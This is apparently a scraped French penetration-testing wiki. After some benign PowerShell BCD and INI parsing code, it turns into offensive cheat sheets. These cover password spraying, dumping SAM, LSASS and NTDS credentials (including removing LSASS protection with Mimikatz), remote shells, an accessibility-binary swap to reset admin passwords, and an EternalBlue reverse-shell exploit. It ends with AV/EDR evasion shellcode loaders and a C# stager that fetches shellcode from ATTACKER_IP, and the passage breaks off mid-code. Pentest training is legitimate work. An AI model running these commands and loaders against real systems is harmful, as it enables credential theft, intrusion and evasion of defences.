    'HypervisorDebugNetKey' = ([UInt32] 0x22000110)
    'HypervisorDebugNetDhcp' = ([UInt32] 0x26000114)
    'HypervisorIommuPolicy' = ([UInt32] 0x25000115)
    'XSaveDisable' = ([UInt32] 0x2500012b)
    'RamdiskImageOffset' = ([UInt32] 0x35000001)
    'TftpClientPort' = ([UInt32] 0x35000002)
    'RamdiskSdiDevice' = ([UInt32] 0x31000003)
    'RamdiskSdiPath' = ([UInt32] 0x32000004)
    'RamdiskImageLength' = ([UInt32] 0x35000005)
    'RamdiskExportAsCd' = ([UInt32] 0x36000006)
    'RamdiskTftpBlockSize' = ([UInt32] 0x36000007)
    'RamdiskTftpWindowSize' = ([UInt32] 0x36000008)
    'RamdiskMulticastEnabled' = ([UInt32] 0x36000009)
    'RamdiskMulticastTftpFallback' = ([UInt32] 0x3600000A)
    'RamdiskTftpVarWindow' = ([UInt32] 0x3600000B)
    'DeviceType' = ([UInt32] 0x45000001)
    'ApplicationRelativePath' = ([UInt32] 0x42000002)
    'RamdiskDeviceRelativePath' = ([UInt32] 0x42000003)
    'OmitOsLoaderElements' = ([UInt32] 0x46000004)
    'ElementsToMigrate' = ([UInt32] 0x47000006)
    'RecoveryOs' = ([UInt32] 0x46000010)
}
#endregion


function Get-BCDStore {
<#
.SYNOPSIS

Opens a BCD store.

.DESCRIPTION

Get-BCDStore opens the system BCD store or a backup BCD file. All functions in this module that implement a -BCDStore parameter require the output of this function.

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause

.PARAMETER FilePath

Specifies the path to a BCD store backup file. The absense of this argument defaults to opening the system BCD store.

.PARAMETER CimSession

Specifies the CIM session to use for this function. Enter a variable that contains the CIM session or a command that creates or gets the CIM session, such as the New-CimSession or Get-CimSession cmdlets. For more information, see about_CimSessions.

.EXAMPLE

$BCDStore = Get-BCDStore

Opens the system BCD store.

.EXAMPLE

$BCDStore = Get-BCDStore -CimSession $CimSession

Opens a remote system BCD store using an established CIM session.

.EXAMPLE

$BCDStore = Get-BCDStore -FilePath .\exportedstore.bin

Opens a BCD store for a specified file.

.INPUTS

Microsoft.Management.Infrastructure.CimSession

Accepts one of more CIM session objects.

.OUTPUTS

Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdStore

Outputs a BcdStore object that is required for all subsequent calls to BCD module functions.
#>

    [OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdStore')]
    [CmdletBinding()]
    param (
        [String]
        [ValidateNotNullOrEmpty()]
        $FilePath,

        [Parameter(ValueFromPipeline = $True)]
        [Alias('Session')]
        [Microsoft.Management.Infrastructure.CimSession[]]
        $CimSession
    )

    BEGIN {
        # If a CIM session is not provided, trick the function into thinking there is one.
        if (-not $PSBoundParameters['CimSession']) {
            $CimSession = ''
        }
    }

    PROCESS {
        foreach ($Session in $CimSession) {
            $CimMethodArgs = @{}

            if ($Session.Id) { $CimMethodArgs['CimSession'] = $Session }

            if ($FilePath) {
                $BCDPath = (Resolve-Path $FilePath).Path
            } else {
                $BCDPath = ''
            }

            $OpenStoreArg = @{
                Namespace = 'ROOT/WMI'
                ClassName = 'BcdStore'
                MethodName = 'OpenStore'
                Arguments = @{ File = $BCDPath }
            }

            $OpenStoreResult = Invoke-CimMethod @OpenStoreArg @CimMethodArgs

            if ($True -eq $OpenStoreResult.ReturnValue) {
                $OpenStoreResult.Store
            } else {
                Write-Error 'Unable to open BCD store. Likely reason: You do not have the required permissions to open the BCD store.'
            }
        }
    }
}


filter Get-BCDObject {
<#
.SYNOPSIS

Retrieves defined BCD objects from a BCD store.

.DESCRIPTION

Get-BCDObject returns defined BCD objects from a previously opened BCD store. Upon retrieving one or more BCD objects, relevant BCD objects can be retrieved.

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause

.PARAMETER WellKnownId

Specifies the well-known BCD object identifier to be retrieved.

.PARAMETER Id

Specifies the BCD object identifier to be retrieved.

.PARAMETER Type

Returns BCD objects based on the specified raw object value. For example, 0x101FFFFF refers to firmware entries, specifically. 0x10200003 would refer to OS loader entries.

.PARAMETER BCDStore

Specifies the BCDStore object returned from the Get-BCDStore function.

.EXAMPLE

Get-BCDObject -BCDStore $BCDStore | Get-BCDElement

Retrieves all defined BCD objects from the specified BCD store. This is equivalent to the following bcdedit command:

bcdedit.exe /enum all

.EXAMPLE

Get-BCDObject -BCDStore $BCDStore -WellKnownId BootMgr | Get-BCDElement

Retrieves all defined boot loader BCD objects from the specified BCD store. This is equivalent to the following bcdedit command:

bcdedit.exe /enum {bootmgr}

.EXAMPLE

Get-BCDObject -BCDStore $BCDStore -Type 0x101FFFFF | Get-BCDElement

Retrieves all defined firmware BCD objects from the specified BCD store. This is equivalent to the following bcdedit command:

bcdedit.exe /enum firmware

.EXAMPLE

Get-BCDObject -BCDStore $BCDStore -Id b5b5d3df-3847-11e8-a5cf-c49ded12be66 | Get-BCDElement

Retrieves the BCD object for the corresponding GUID. This is equivalent to the following bcdedit command:

bcdedit.exe /enum {b5b5d3df-3847-11e8-a5cf-c49ded12be66}

.INPUTS

Microsoft.Management.Infrastructure.CimSession

Accepts one of more CIM session objects.

.OUTPUTS

Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdObject

Outputs one or more BcdObject objects.
#>

    [OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdObject')]
    [CmdletBinding(DefaultParameterSetName = 'WellKnownId')]
    param (
        [Parameter(ParameterSetName = 'WellKnownId')]
        [ValidateSet(
            'Active',
            'Inherit',
            'Firmware',
            'OSLoader',
            'BootApp',
            'Resume',
            'EmsSettings',
            'ResumeLoaderSettings',
            'Default',
            'KernelDbgSettings',
            'DbgSettings',
            'EventSettings',
            'Legacy',
            'NtLdr',
            'BadMemory',
            'BootloaderSettings',
            'GlobalSettings',
            'HypervisorSettings',
            'BootMgr',
            'FWBootMgr',
            'RamDiskOptions',
            'MemDiag',
            'Current',
            'SetupEFI',
            'TargetTemplateEFI',
            'SetupPCAT',
            'TargetTemplatePCAT')]
        $WellKnownId,

        [Parameter(Mandatory, ParameterSetName = 'Id')]
        [Guid]
        $Id,

        [Parameter(Mandatory, ParameterSetName = 'Type')]
        [UInt32]
        $Type,

        [Parameter(Mandatory, ValueFromPipeline)]
        [PSTypeName('Microsoft.Management.Infrastructure.CimInstance#ROOT/WMI/BcdStore')]
        [Microsoft.Management.Infrastructure.CimInstance]
        $BCDStore
    )

    # These object types will need to be mapped to a raw type value.
    $FriendlyObjectTypes = @('Inherit', 'Firmware', 'OSLoader', 'BootApp', 'Resume')

    $HasFriendlyObjectType = $False
    if ($FriendlyObjectTypes -contains $WellKnownId) { $HasFriendlyObjectType = $True }

    $CimMethodArgs = @{}
    $CimSessionComputerName = $BCDStore.GetCimSessionComputerName()

    if ($CimSessionComputerName) { $CimMethodArgs['CimSession'] = Get-CimSession -InstanceId $BCDStore.GetCimSessionInstanceId() }

    $GetObjectsResult = $null

    $BCDObjects = $null

    if ($WellKnownId -eq 'Active') {
        # equivalent to: bcdedit.exe /enum ACTIVE
        $BootMgr = Get-BCDObject -BCDStore $BCDStore -WellKnownId BootMgr

        if ($BootMgr) {
            $BootMgr

            $DisplayOrder = $BootMgr | Get-BCDElement -Name DisplayOrder

            if ($DisplayOrder -and ($DisplayOrder.Ids.Count)) {
                $DisplayOrder.Ids | ForEach-Object { Get-BCDObject -BCDStore $BCDStore -Id $_ }
            }
        }

        return
    } elseif ($WellKnownId -and !$HasFriendlyObjectType) {
        $GetObjectsResult = Invoke-CimMethod -InputObject $BCDStore -MethodName OpenObject -Arguments @{ Id = $ObjectFriendlyNameMapping[$WellKnownId][0] } @CimMethodArgs
    
        if ($True -eq $GetObjectsResult.ReturnValue) { $BCDObjects = $GetObjectsResult.Object }
    } elseif ($Id) {
        $GetObjectsResult = Invoke-CimMethod -InputObject $BCDStore -MethodName OpenObject -Arguments @{ Id = "{$Id}" } @CimMethodArgs
    
        if ($True -eq $GetObjectsResult.ReturnValue) { $BCDObjects = $GetObjectsResult.Object }
    } elseif ($Type -or $HasFriendlyObjectType) {
        if ($HasFriendlyObjectType) {
            switch ($WellKnownId) {
                'Inherit'  { $TypeVal = 0x20000000 }
                'Firmware' { $TypeVal = 0x101FFFFF }
                'OSLoader' { $TypeVal = 0x10200003 }
                'BootApp'  { $TypeVal = 0x10200000 }
                'Resume'   { $TypeVal = 0x10200004 }
            }
        } else {
            $TypeVal = $Type
        }

        # Return all BCD objects of the specified type value.
        $GetObjectsResult = Invoke-CimMethod -InputObject $BCDStore -MethodName EnumerateObjects -Arguments @{ Type = $TypeVal } @CimMethodArgs

        if ($True -eq $GetObjectsResult.ReturnValue) { $BCDObjects = $GetObjectsResult.Objects }
    } else {
        # Return all defined BCD objects.
        $GetObjectsResult = Invoke-CimMethod -InputObject $BCDStore -MethodName EnumerateObjects -Arguments @{ Type = [UInt32] 0 } @CimMethodArgs

        if ($True -eq $GetObjectsResult.ReturnValue) { $BCDObjects = $GetObjectsResult.Objects }
    }

    foreach ($Object in $BCDObjects) {
        # Break out the components of each object type and append them to each BCDObject.
        $ObjectType = $ObjectTypes[[Int] (($Object.Type -band 0xF0000000) -shr 28)]
        $InheritableByValue = [Int] (($Object.Type -band 0x00F00000) -shr 20)
        $InheritableBy = @{
            1 = 'AnyObject'
            2 = 'ApplicationObjects'
            3 = 'DeviceObjects'
        }[$InheritableByValue]

        $ImageType = if ($ObjectType -eq 'Application') { $ImageTypes[$InheritableByValue] }
        $ApplicationTypeValue = [Int] $Object.Type -band 0x000FFFFF
        $ApplicationType = $null

        switch ($ObjectType) {
            'Inherit' { $ApplicationType = $InheritableTypes[$ApplicationTypeValue] }
            'Application' { $ApplicationType = $ApplicationTypes[$ApplicationTypeValue] }
        }

        Add-Member -InputObject $Object -MemberType NoteProperty -Name ObjectType -Value $ObjectType
        Add-Member -InputObject $Object -MemberType NoteProperty -Name InheritableBy -Value $InheritableBy
        Add-Member -InputObject $Object -MemberType NoteProperty -Name ApplicationImageType -Value $ImageType
        Add-Member -InputObject $Object -MemberType NoteProperty -Name ApplicationType -Value $ApplicationType
        Add-Member -InputObject $Object -MemberType NoteProperty -Name Store -Value $BCDStore
    }

    $BCDObjects
}

 

    ##########################
    ## 
    ## Author: Oliver Lipkau
    ## Name : PsIni 
    ## Github : https://github.com/lipkau/PsIni 
    ## License: BSD 3-Clause
    ## 
    ##########################


Function Get-IniContent {  
    <#  
    .Synopsis  
        Gets the content of an INI file  
          
    .Description  
        Gets the content of an INI file and returns it as a hashtable  
          
    .Notes  
        Author        : Oliver Lipkau <oliver@lipkau.net>  
        Blog        : http://oliver.lipkau.net/blog/  
        Source        : https://github.com/lipkau/PsIni 
                      http://gallery.technet.microsoft.com/scriptcenter/ea40c1ef-c856-434b-b8fb-ebd7a76e8d91 
        Version        : 1.0 - 2010/03/12 - Initial release  
                      1.1 - 2014/12/11 - Typo (Thx SLDR) 
                                         Typo (Thx Dave Stiff) 
          
        #Requires -Version 2.0  
          
    .Inputs  
        System.String  
          
    .Outputs  
        System.Collections.Hashtable  
          
    .Parameter FilePath  
        Specifies the path to the input file.  
          
    .Example  
        $FileContent = Get-IniContent "C:\myinifile.ini"  
        -----------  
        Description  
        Saves the content of the c:\myinifile.ini in a hashtable called $FileContent  
      
    .Example  
        $inifilepath | $FileContent = Get-IniContent  
        -----------  
        Description  
        Gets the content of the ini file passed through the pipe into a hashtable called $FileContent  
      
    .Example  
        C:\PS>$FileContent = Get-IniContent "c:\settings.ini"  
        C:\PS>$FileContent["Section"]["Key"]  
        -----------  
        Description  
        Returns the key "Key" of the section "Section" from the C:\settings.ini file  
          
    .Link  
        Out-IniFile  
    #>  
      
    [CmdletBinding()]  
    Param(  
        [ValidateNotNullOrEmpty()]  
        [Parameter(ValueFromPipeline=$True,Mandatory=$True)]  
        [string]$FilePath
    )  
      
    #Begin  
    #    {Write-Verbose "$($MyInvocation.MyCommand.Name):: Function started"}  
          
    Process  
    {  
        #Write-Verbose "$($MyInvocation.MyCommand.Name):: Processing file: $Filepath"  
              
        $ini = @{}  
        switch -regex -file $FilePath  
        {  
            "^\[(.+)\]$" # Section  
            {  
                $section = $matches[1]  
                $ini[$section] = @{}  
                $CommentCount = 0  
            }  
            "^(;.*)$" # Comment  
            {  
                if (!($section))  
                {  
                    $section = "No-Section"  
                    $ini[$section] = @{}  
                }  
                $value = $matches[1]  
                $CommentCount = $CommentCount + 1  
                $name = "Comment" + $CommentCount  
                $ini[$section][$name] = $value  
            }   
            "(.+?)\s*=\s*(.*)" # Key  
            {  
                if (!($section))  
                {  
                    $section = "No-Section"  
                    $ini[$section] = @{}  
                }  
                $name,$value = $matches[1..2]  
                $ini[$section][$name] = $value  
            }  
        }  
        #Write-Verbose "$($MyInvocation.MyCommand.Name):: Finished Processing file: $FilePath"  
        Return $ini  
    }  
          
    #End  
    #    {Write-Verbose "$($MyInvocation.MyCommand.Name):: Function ended"}  

On peut importer ce module :

Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile

Il va vous indiquer l'emplacement de l'image WIM :

>> Parse the BCD file: conf.bcd
>>>> Identify wim file : <PXE Boot Image Location>

On peut maintenant récupérer l'image WIM :

tftp -i <MDT_IP> GET "<PXE Boot Image Location>" pxeboot.wim

Et on peut chercher les identifiants de session qu'il y aurait dedans :

Get-FindCredentials -WimFile pxeboot.wim

Active Directory

[Exploitation/AD] Password spraying et brute force

Introduction

Les attaques par brute force consistent à essayer une grande quantité de mots de passe sur un même compte alors que les attaques par password spraying vont essayer un ou plusieurs mots de passe sur une grande quantité de compte.

Là où l'attaque va être utilisée pour essayer d'accéder à un compte spécifique, l'attaque par password spraying va servir à obtenir un premier accès.

Brute force

Kerbrute

kerbrute bruteuser --dc <DC_IP> -d <DOMAIN_FQDN> <PASSWORD_LIST> <USERNAME>

CrackMapExec

crackmapexec <PROTOCOL> <IP> <USERNAME> -p <WORDLIST>

Il supporte les protocoles smb, http et mssql .

Password spraying

Kerbrute

Pour essayer un mot de passe sur plusieurs comptes :

kerbrute passwordspray --dc <DC_IP> -d <DOMAIN_FQDN> <USERLIST> <PASSWORD>

Pour essayer des combos utilisateurs/mots de passe :

kerbrute bruteforce --dc <DC_IP> -d <DOMAIN_FQDN> <COMBO_LIST>

Le fichier <COMBO_LIST> doit respecté le format USER:PASSWORD .

CrackMapExec

crackmapexec <PROTOCOL> <IP> -u <USERLIST> -p <WORDLIST>

Rubeus

Rubeus.exe brute /password:<PASSWORD> /noticket

Active Directory

[Exploitation/AD] Credentials Harvesting

Introduction

Cette pratique a pour objectif de récupérer des identifiants qui pourront nous servir à élever nos privilèges ou pivoter sur d'autres machines du domaine.

Elle fait partie intégrante de la phase d'énumération post-compromission.

Techniques

Mots de passe en clair

Voici les premiers éléments qu'un pirate va chercher pour trouver de nouveaux identifiants :

Historique de commande Powershell

Toutes les commandes sont par défaut stockées dans le fichier suivant :

C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Base de registre

Les commandes suivantes vont chercher le mot-clé password dans la base de registre :

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

 Hashdump

Le framework Metasploit vous permet de dumper la base SAM grâce à la commande hashdump depuis une session Meterpreter :

hashdump

Volume Shadow Copy

Cette technique permet de copier les fichiers sam et system :

wmic shadowcopy call create Volume='C:\'

Vous pouvez lister les volumes :

vssadmin list shadows

Vous devriez pouvoir copier les fichiers voulus de cette manière :

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system

Vous pouvez utiliser l'outil secretsdump pour récupérer les hashs contenus dans la base SAM locale :

python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL

Dump LSASS

Le gestionnaire des tâches de Windows permet par défaut de dump la mémoire d'un processus.

Pour cela, il vous suffit de vous rendre dans l'onglet Détails et de faire clic droit sur le processus LSASS et de cliquer sur Créer un fichier de collecte :

image.png

Ensuite, vous pourrez analyser ce fichier avec l'outil procdump de la suite SysInternal :

procdump.exe -accepteula -ma lsass.exe lsass_dump

Sinon on peut le faire avec Mimikatz :

privilege::debug
sekurlsa::logonpasswords

Si vous obtenez l'erreur 0x00000005 c'est que la protection LSASS est activée.

Pour contourner cette protection, vous devez charger le driver mimidrv.sys grâce à la commande suivante dans Mimikatz :

!+

Ensuite, désactivez la protection :

!processprotect /process:lsass.exe /remove

Vous devriez être en capacité d'exécuter la commande :

sekurlsa::logonpasswords

Gestionnaire d'informations d'identification

Le gestionnaire d'identifiant sur Windows peut être retrouvé en se rendant dans :

Panneau de configuration > Compte Utilisateur > Gestionnaire d'informations d'identification

Par chance, vous pouvez aussi le gérer depuis le shell grâce à la commande vaultcmd.

Par exemple vous pouvez lister les entrées des coffres :

vaultcmd /list

Par défaut, il existe 2 coffres : celui des identifiants Web et ceux de Windows.

Pour afficher les propriétés du coffre des identifiants Web :

VaultCmd /listproperties:"Web Credentials"

Et pour afficher les informations d'identificaiton :

VaultCmd /listcreds:"Web Credentials"

Windows ne permet pas d'afficher les mots de passe.

La solution est d'utiliser un script Powershell (Get-WebCredentials.ps1) qui permet de le faire :

powershell -ex bypass
Import-Module C:\Tools\Get-WebCredentials.ps1
Get-WebCredentials

La commande cmdkey permet  d'afficher les informations d'identification du coffre Windows :

cmdkey /list

L'intérêt de ce coffre est de pouvoir utiliser des identifiants qui ne sont pas les notre pour utiliser des applications.

Par exemple on peut utiliser runas avec pour lancer un shell :

runas /savecred /user:<DN>\<USER> cmd.exe

Vous pouvez aussi utiliser Mimikatz pour dumper le contenu des coffres :

privilege::debug
sekurlsa::credman

Dump NTDS

Si vous parvenez à récupérer un accès administrateur sur un contrôleur de domaine mais que vous n'avez pas d'identifiants, vous pouvez essayer récupérer la base NTDS avec la commande suivante :

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Normalement les fichier ntds.dit, SECURITY et SYSTEM devraient être stockées dans le dossier c:/temp.

Transférez-les sur votre machine et utilisez secretsdump de la suite impacket pour récupérer les hashs :

python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local

Si vous possédez les identifiants d'un compte administrateur, vous pouvez effectuer ces opérations à distance avec secretsdump :

python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm THM.red/<AD_Admin_User>@10.10.159.6 

LAPS

Si LAPS est activé sur le poste compromis, vous pouvez récupérer le mot de passe en clair d'un utilisateur qui s'est connecté dessus.

Tout d'abord, on peut vérifier si LAPS est activé de la manière suivante :

dir "C:\Program Files\LAPS\CSE"

Ensuite on peut chercher dans une OU spécifique, les objets qui ont LAPS activés :

Find-AdmPwdExtendedRights -Identity <OU_NAME>

Admettons que le groupe IT ait été identifié par la commande précédente, on peut lister ses utilisateurs que nous prendrons pour cible :

net groups "IT"

Ensuite trouvez un moyen pour vous connecter sur la session de l'utilisateur que vous souhaitez compromettre et lancez la commande suivante pour récupérer son mot de passe :

Get-AdmPwdPassword -ComputerName creds-harvestin

Certains outils comme LAPSToolKit peuvent vous aider pour l'énumération LAPS.

Active Directory

[Exploitation/AD] Exécution de commande à distance

Introduction

Lors de vos tests d'intrusion dans des environnements Active Directory, vous aurez souvent besoin d'exécuter des commandes à distance et d'ouvrir des shells (RCE).

Par chance, il existe plusieurs outils dont certains seront décrit dans cette fiche.

AFmimage.png

EvilWinRM

Cet outil utilise le protocole WinRM pour ouvrir un shell distant :

evilwinrm -u <USER> -p <PASSWORD> -i <IP|FQDN>

Suite Impacket

Certains outils de la suite Impacket permettent d'exécuter des commandes à distance via différents protocoles.

PsExec

1717011709078.gif

Il permet d'exécuter des commandes à distances sur des hôtes Windows :

psexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>

SMBExec

Avec la même syntaxe, vous pouvez utiliser smbexec qui permet la même chose mais nécessite un partage samba accessible en écriture :

smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>

WMIExec

Toujours avec la même syntaxe et le même objectif, cet outil ne va pas créer de service et ne sera donc pas authentifié avec le compte NT Système :

wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>

ATExec

Cet outil va créer une tâche planifiée sur l'hôte distant. Il fonctionne avec la même syntaxe que les trois derniers outils sauf qu'il faut spécifier à la fin la commande que l'on souhaite exécuter :

atexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP> <COMMAND>

CrackMapExec

Il est capable d'utiliser Metasploit ou Empire pour lancer des shells.

Meterpreter

Empire

Windows

Windows

[Exploitation/Windows] Récupération base SAM locale

Introduction

La base SAM sur un poste ou un serveur Windows stocke l'ensemble des hashs NTML des utilisateurs locaux.

Si un attaquant parvient à la récupérer, il pourra lancer une attaque brute force pour essayer de trouver le mot de passe en clair.

Cependant, le fichier est protégé et nécessite les droits utilmes NT authorité système pour la récupérer.

image.pngManuel

https://learn.microsoft.com/fr-fr/sysinternals/downloads/sysinternals-suite

PsExec.exe -s -i cmd.exe
whoami
reg save hklm\sam c:\sam
reg save hklm\system c:\system

Les deux fichiers sont désormais récupérable à la racine de votre système de fichiers !

Samdump2

Ensuite, vous pouvez récupérer les hashs grâce à l'outil samdump2 sur Linux :

samdump2 <SYSTEM_FILE> <SAM_FILE> [-o OUTPUT_FILE]

Mimikatz

Sinon vous pouvez procéder avec Mimikatz pour récupérer les hashs :

mimikatz.exe

Une fois dans le shell de mimikatz :

privilege::debug
token::elevate
lsadump::sam system sam

Windows

[Exploitation/Windows] Reset mot de passe admin local

Introduction

Nous allons voir les manipulations à faire lorsque vous souhaitez accéder à un poste Windows dont vous n'avez pas le mot de passe mais que vous avez un accès physique et un accès au disque dur contenant les partitions systèmes non chiffré.

Cette technique est vérifiée sur Windows 7, 8 et 10 (à tester sur Windows 11).

Prérequis

Procédure

Tout d'abord, ouvrir le boot menu pour démarrer sur la clé avec Windows.

Une fois sur ce menu d'installation, exécutez la combinaison Shift + F10 :

image.png

Une invite de commande devrait apparaître.

La première étape consiste à repérer la lettre du volume de la partition système de Windows.

Pour cela, lancez l'utilitaire diskpart et exécutez la commande list volume :

image.png

Sur cette capture il s'agit du volume C sauf que votre système live il y a très peu de chance que cela se produise.

En général il s'agit du volume D et parfois E.

L'étape suivante consiste à copier le binaire de l'invite de commande cmd.exe en Magnify.exe qui est l'outil loupe que nous pouvons lancer depuis l'écran de connexion.

Il faut pour cela renommer le véritable utilitaire loupe pour le rendre inexécutable :

copy C:\Windows\System32\Magnify.exe C:\Windows\System32\Magnify.exe.bak

Puis on fait une copie du cmd que l'on nomme exactement pareil que l'outil loupe original :

copy C:\Windows\System32\cmd.exe copy C:\Windows\System32\Magnify.exe

Éteignez l'ordinateur et redémarrez.

Une fois sur l'écran de connexion, cliquez sur les options d'ergonomie et lancez la loupe :

image.png

Un invite de commande avec les droit NT system devrait s'ouvrir.

Vous n'avez plus qu'à modifier le mot de passe de l'administrateur local ou de votre utilisateur grâce à la commande suivante :

net user administrateur <PASSWORD>

Remarque : Selon la langue du système et la version de windows, il se peut que ce ne soit pas administrateur mais administrator.

Windows

[Exploitation/Windows] Ouvrir un shell NT authorité système

Introduction

Ce tuto vous permettra d'ouvrir un shell avec les droits systèmes.

image.png

Manuel

https://learn.microsoft.com/fr-fr/sysinternals/downloads/sysinternals-suite

PsExec.exe -s -i cmd.exe

Windows

[Exploitation/Windows] Connexion RDP

Introduction

Cette page montre une technique pour lancer une connexion RDP depuis un shell (si un environnement graphique est présent et configuré en amont).

image.png

Manuel

cme smb <DC_IP> -u <USERNAME> -H <HASH>
xfreerdp /v:<DC_IP> /u:<USERNAME> /pth:<HASH>
Windows

[Exploitation/Windows] Eternal Blue

Introduction

L'exploit Eternal Blue a été développé par la NSA en 2017. Il fait suite à l'exploitation de la vulnérabilité MS17-010 lors de la campagne de Ransomware Wannacry.

La faille est présente dans la v1 du protcole SMB et permet notamment une RCE.

image.png

Exploitation avec Metasploit

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts <TARGET_IP>
set lhost <LOCAL_IP>
set lport <PORT>
set payload windows/x64/meterpreter/reverse_tcp
run

Windows

[Exploitation/Windows] Antivirus/EDR Evasion

Introduction

Cette page décrit les techniques que l'on peut utiliser pour échapper à la détection antivirale d'une solution de type EDR ou d'un antivirus traditionnel sur des systèmes Windows.

image.png

Sources

Techniques

Extraire le shellcode de la section .text

À partir d'un programme, vous pouvez en extraire le shellcode de sa section .text grâce à la commande suivante :

objcopy -j .text -O binary <INPUT_BINARY> <OUTPUT_BINARY>

On peut afficher son contenu au format C avec la commande xxd :

xxd -i <BINARY>

Injection de shellcode dans un programme C

#include <stdio.h>

int main(int argc, char **argv) {
    unsigned char message[] = {
        0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
        0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
        0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
        0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
        0x0d, 0x0a
    };
    
    (*(void(*)())message)();
    return 0;
}

Remplacez le shellcode actuel par le vôtre.

Puis compilez-le :

gcc -g -Wall -z execstack <CODE>.c -o <OUTPUT>

Génération de shellcode avec Metasploit

L'outil msfvenom du framework Metasploit, vous permet de générer des shellcodes :

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

Le shellcode lancera une calculatrice dans cet exemple.

Vous pouvez créer un programme pour Windows qui va injecter le shellcode :

#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
        DWORD oldProtect;
        VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
        int (*shellcode)() = (int(*)())(void*)stager;
        shellcode();
}

Puis compilez-le :

i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

Pour compiler en 64 bits :

x86_64-w64-mingw32-g++ calc.c -o calc-MSF.exe

Vous pouvez aussi générer des fichiers binaires en .bin plutôt que de créer des exécutables avec msfvenom :

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin

Vous pouvez utiliser la commande xxd -i sur le fichier généré pour créer un shellcode au format C.

Stage vs Stageless payloads

Un payload stageless va directement exécuter le programme malveillant : 

image.png

Alors qu'un payload stage va exécuter un ou plusieurs stages qui vont récupérer le shellcode sur le serveur distant, l'injecter dans la mémoire puis potentiellement l'exécuter :

image.png

image.png

Voici les avantages du StageLess :

Et voici les avantages du Staged :

Pour générer un payload Staged avec msfvenom utilisez le payload suivant :

windows/x64/shell/reverse_tcp

Et pour du StageLess :

windows/x64/shell_reverse_tcp

Voici un programme C# Staged qui va récupérer un fichier binaire sur le serveur de l'attaquant puis il va l'exécuter dans un thread :

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  public static void Main()
  {
    string url = "https://ATTACKER_IP/shellcode.bin";
    Stager(url);
  }

